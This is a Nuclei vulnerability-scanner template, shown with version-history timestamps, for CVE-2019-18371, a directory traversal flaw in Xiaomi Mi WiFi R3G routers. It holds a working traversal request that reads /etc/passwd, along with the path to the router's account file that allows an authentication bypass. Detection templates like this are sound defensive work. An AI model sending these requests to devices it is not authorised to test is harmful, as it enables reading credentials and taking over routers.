nuclei-templates/cves/2019/CVE-2019-18371.yaml

28 lines
930 B
YAML
Raw Normal View History

2022-05-18 11:13:32 +00:00
id: CVE-2019-18371
info:
2022-05-19 19:39:55 +00:00
name: Xiaomi routers - Local file inclusion
2022-05-18 11:13:32 +00:00
author: ritikchaddha
severity: high
2022-05-19 19:39:55 +00:00
description: |
An issue was discovered on Xiaomi Mi WiFi R3G devices before 2.28.23-stable. There is a directory traversal vulnerability to read arbitrary files via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
reference:
2022-05-18 11:13:32 +00:00
- https://ultramangaia.github.io/blog/2019/Xiaomi-Series-Router-Command-Execution-Vulnerability.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-18371
2022-05-19 19:39:55 +00:00
tags: xiaomi,cve2019,cve,lfi,router,mi
2022-05-18 11:13:32 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200